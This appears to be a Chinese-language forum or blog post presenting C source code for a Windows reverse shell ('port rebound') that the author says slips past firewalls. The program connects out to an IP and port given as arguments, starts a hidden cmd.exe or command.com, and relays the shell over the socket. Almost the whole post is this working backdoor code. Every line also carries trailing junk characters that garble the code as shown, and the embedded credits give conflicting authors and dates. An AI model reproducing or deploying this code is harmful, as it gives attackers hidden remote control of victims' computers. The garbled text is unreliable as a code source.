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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \(2w/~  
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/* ============================== G d~ v _  
Rebound port in Windows NT %c"PMTq(  
By wind,2006/7 7rQwn2XD{  
===============================*/ Swz{5 J2C  
#include 0b6jGa  
#include G2qv)7{l2  
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#pragma comment(lib,"wsock32.lib") ">cLPXX  
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void OutputShell(); U;`C%vHff  
SOCKET sClient; J|,Uu^7`  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LvtHWt  
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void main(int argc,char **argv) IR;l{q&`  
{ vZ,DJ//U,  
WSADATA stWsaData; R d'P\  
int nRet; Gu+9R>  
SOCKADDR_IN stSaiClient,stSaiServer; 2?P H||  
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if(argc != 3) ~hD!{([  
{ n2} (Pt.  
printf("Useage:\n\rRebound DestIP DestPort\n"); >*s_)IH2  
return; EP,j+^RVf  
} X3e&c  
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WSAStartup(MAKEWORD(2,2),&stWsaData); W[c[ulY&  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @<kY,ox@~  
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stSaiClient.sin_family = AF_INET; g)$/'RB  
stSaiClient.sin_port = htons(0); \]C_ul'  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "uCO?hv0  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) B@cC'F#G  
{ R!i\-C1 S  
printf("Bind Socket Failed!\n"); V=^B7a.;>  
return; U\*]cw  
} VyX5MVh  
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stSaiServer.sin_family = AF_INET; :I_p4S.)  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); r$[`A_  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); e}dGK=`  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >~@O\n-t  
{ $7h]A$$Fv  
printf("Connect Error!"); 4Vtu g>  
return; 1lo. X_  
} Q$ +6f,m#W  
OutputShell(); P:D;w2'Q  
} 8\WV.+  
RW~!)^  
void OutputShell() yY[9\!  
{ q QcQnd2K  
char szBuff[1024]; mR["xDHD  
SECURITY_ATTRIBUTES stSecurityAttributes; ^'9.VVyz  
OSVERSIONINFO stOsversionInfo; 4)"S /u  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; '9{`Czc(Gb  
STARTUPINFO stStartupInfo; ~c,CngeL0  
char *szShell; nuKcq!L  
PROCESS_INFORMATION stProcessInformation; "@z X{^:  
unsigned long lBytesRead; Emy=q5ryl  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |L/EH~| O  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); n6AA%? 5  
stSecurityAttributes.lpSecurityDescriptor = 0; g(_xo\  
stSecurityAttributes.bInheritHandle = TRUE; "QD>m7  
W4;/;[/L  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); vA3wn><  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); dx@|M{jz'  
Mj&G5R~_  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s$%t2UaV  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?(Se$iTZ  
stStartupInfo.wShowWindow = SW_HIDE; OZc4 -5  
stStartupInfo.hStdInput = hReadPipe; za%gD  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8)lrQvZ  
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GetVersionEx(&stOsversionInfo); )J*M{Gm6i  
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switch(stOsversionInfo.dwPlatformId) ]d67 HOyK  
{ 1rx, qfCq  
case 1: 2&"qNpPtE  
szShell = "command.com"; .k:heN2-x  
break; ">._&8KkE0  
default: li hIPMU  
szShell = "cmd.exe"; @)\4 $#+-  
break; |nCVM\+5T  
} 80zpRU"  
#x qiGK  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); iYZn`OAx  
vPz$+&{I  
send(sClient,szMsg,77,0); y\omJx=,  
while(1) e2e!"kEF  
{ oXjoQ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9X?RJ."J  
if(lBytesRead) [ *Dj7z t:  
{ q<j9l'dHG  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @U3:9~Q  
send(sClient,szBuff,lBytesRead,0); T>f6V 5  
} OlB9z  
else b'``0OB)  
{ z&cM8w:  
lBytesRead=recv(sClient,szBuff,1024,0); | C^.[)  
if(lBytesRead<=0) break; k#bG&BF  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); FDFwx|  
} 0kSM$D_  
} MuJP.]5>`  
o\F>K'  
return; a:8 MoH4  
}
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